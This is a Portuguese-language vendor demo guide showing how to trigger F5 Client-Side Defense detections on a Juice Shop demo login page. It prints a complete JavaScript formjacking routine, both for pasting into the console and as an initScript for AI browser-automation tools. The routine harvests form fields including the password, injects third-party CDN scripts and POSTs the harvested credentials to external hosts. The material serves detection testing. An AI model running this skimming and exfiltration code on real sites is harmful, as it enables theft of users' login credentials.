- Início
- Defesa do lado do cliente
- Detecção de Gatilhos
Detecção de Gatilhos
Detecção de Gatilhos
Seção intitulada “Detecção de Gatilhos”O CSD monitora o comportamento do JavaScript dentro do navegador. Ao contrário do WAF ou do Bot Defense, não é possível acionar a detecção do CSD com comandos curl — é necessária atividade real de script no lado do navegador. O script combinado a seguir aciona todos os três sinais de detecção do CSD em uma única execução: coleta de campos de formulário, injeção de scripts de terceiros a partir de múltiplos domínios CDN e exfiltração de dados para endpoints externos.
Executar o Script de Simulação Combinado
Seção intitulada “Executar o Script de Simulação Combinado”-
Navegue até a página de login do Juice Shop em
https://botdemo.sales-demo.f5demos.com/#/login -
Insira credenciais fictícias nos campos do formulário — digite
test@example.comno campo Email eP@ssword123no campo Password (não envie o formulário) -
Abra o DevTools (F12 → aba Console)


-
Cole o script a seguir no console e pressione Enter — ele é executado automaticamente como uma função auto-executável
Combined Detection Script // CSD Demo — Combined Detection Script// Triggers ALL CSD detection signals: field reads, script injection, exfiltration(function() {console.log('='.repeat(50));console.log('[CSD Demo] Combined Detection Script — Starting');console.log('='.repeat(50));// Phase 1: Harvest all form fields (CSD tracks field reads on page-load DOM fields)console.log('\n[Formjack] Phase 1: Form field harvesting');var inputs = document.querySelectorAll('input');var harvested = {};inputs.forEach(function(input) {var name = input.name || input.id || input.type;harvested[name] = input.value || '(empty)';});console.log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);// Phase 2: Inject third-party scripts from 4 CDN domainsconsole.log('\n[Supply Chain] Phase 2: Multi-CDN script injection');var cdns = [{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }];cdns.forEach(function(cdn) {var script = document.createElement('script');script.src = cdn.url;script.onload = function() {console.log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);};script.onerror = function() {console.log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url);};document.head.appendChild(script);console.log('[Supply Chain] Injected script tag: ' + cdn.name);});// Phase 3: Exfiltrate harvested data to external endpointsconsole.log('\n[Exfil] Phase 3: Data exfiltration');var payload = JSON.stringify({type: 'combined_demo',credentials: harvested,page: window.location.href,timestamp: Date.now()});fetch('https://www.httpbin.org/post', {method: 'POST',mode: 'no-cors',body: payload}).then(function() {console.log('[Exfil] Data sent to www.httpbin.org');});fetch('https://jsonplaceholder.typicode.com/posts', {method: 'POST',mode: 'no-cors',headers: { 'Content-Type': 'application/json' },body: payload}).then(function() {console.log('[Exfil] Data sent to jsonplaceholder.typicode.com');});// Summaryconsole.log('\n' + '='.repeat(50));console.log('[CSD Demo] Simulation complete');console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (4 CDN domains)');console.log('[CSD Demo] Exfil channels: 2 (fetch POST)');console.log('[CSD Demo] Detection takes 5-10 minutes to appear in the CSD console.');console.log('='.repeat(50));})(); -
Observe a saída em fases
[CSD Demo]no console confirmando cada etapa: coleta de campos, injeção de scripts de 4 domínios CDN e exfiltração de dados. Oesm.shserve sintaxe de módulo ES (export default …) — quando carregado como uma tag<script>clássica, isso causaUncaught SyntaxError: Cannot use import statement outside a module. Isso é esperado e não afeta a detecção do CSD (a tag de script ainda é injetada e a requisição de rede ainda é realizada)

Execução Automatizada por IA
Seção intitulada “Execução Automatizada por IA”Assistentes de IA com ferramentas de automação de navegador (MCP Chrome DevTools, Playwright, Puppeteer) executam a simulação programaticamente em vez de seguir as etapas manuais acima:
- Navegar com initScript — primeiro navegue até
about:blankpara garantir um contexto de documento limpo, depois usenavigate_pagepara a URL da página de login (por exemplo,http://$F5XC_DOMAINNAME/#/login) com uminitScriptque salva osetInterval,clearInterval,fetcheconsole.lognativos antes que o zone.js os sobrescreva, faz polling pelos campos do formulário de login, preenche as credenciais via setter nativoHTMLInputElement.prototype.valuee executa imediatamente o Script de Detecção Combinado inline. Use o initScript verbatim abaixo. - Fechar Banner de Boas-vindas — use
press_keycomEscapepara fechar o Banner de Boas-vindas. Em visitas subsequentes o banner pode não aparecer (cookies persistidos) - Aguardar a conclusão — aguarde 10 segundos para que todos os callbacks de carregamento/erro de scripts CDN e resoluções de promessas fetch sejam concluídos
- Capturar evidências — use
list_console_messagespara verificar[CSD Demo] Simulation complete; uselist_network_requestsfiltrado pelos tiposscriptefetchpara verificar os códigos de status HTTP
Harness initScript (verbatim — encapsula o Script de Detecção Combinado para execução automatizada):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('input[type="email"]'); var passEl = document.querySelector('input[type="password"]'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);Observação sobre o fetch nativo: Este harness salva window.fetch.bind(window) para evitar erros do zone.js. Este é o comportamento correto para todas as fases de simulação de ataque. A mitigação do CSD bloqueia o carregamento de scripts (limpando os valores de src das tags <script>), não as chamadas fetch(), portanto salvar a referência fetch nativa não afeta o comportamento de mitigação. O mesmo initScript é utilizado para a Fase 2 e a Fase 3.
Operadores sem ferramentas de automação de navegador devem utilizar as etapas manuais acima.
O Que o Script Faz
Seção intitulada “O Que o Script Faz”A simulação combinada aciona todos os três sinais de detecção do CSD:
| Comportamento | O Que o Script Faz | O Que o CSD Vê |
|---|---|---|
| Coleta de campos | Lê valores de elementos input existentes (email, senha) | Scripts lendo campos de formulário sensíveis — sinalizados como Alto Risco |
| Injeção de scripts | Adiciona 4 tags <script> carregando de cdn.jsdelivr.net, esm.sh, unpkg.com e ga.jspm.io | 4 novos domínios de scripts de terceiros na página |
| Exfiltração de dados | Envia dados coletados via fetch para www.httpbin.org e jsonplaceholder.typicode.com | Chamadas de rede para domínios externos (observação: destinos fetch aparecem como interações de rede de scripts, não na visualização de domínio de Rede) |
Simulações Avançadas
Seção intitulada “Simulações Avançadas”O script combinado acima é uma versão simplificada de 3 fases (coleta, injeção, exfiltração) adequada para a maioria das demonstrações. A Biblioteca de Scripts de Ataque fornece 10 scripts direcionados organizados por tipo de ataque, incluindo um teste de estresse de Detecção Máxima que adiciona manipulação de DOM, exfiltração de cookies e canais de beacon de imagem além da cobertura do script combinado. Utilize os scripts individuais para demonstrar categorias específicas de ataque (formjacking, digital skimming, injeção na cadeia de suprimentos, exfiltração de dados, manipulação de DOM) de forma isolada.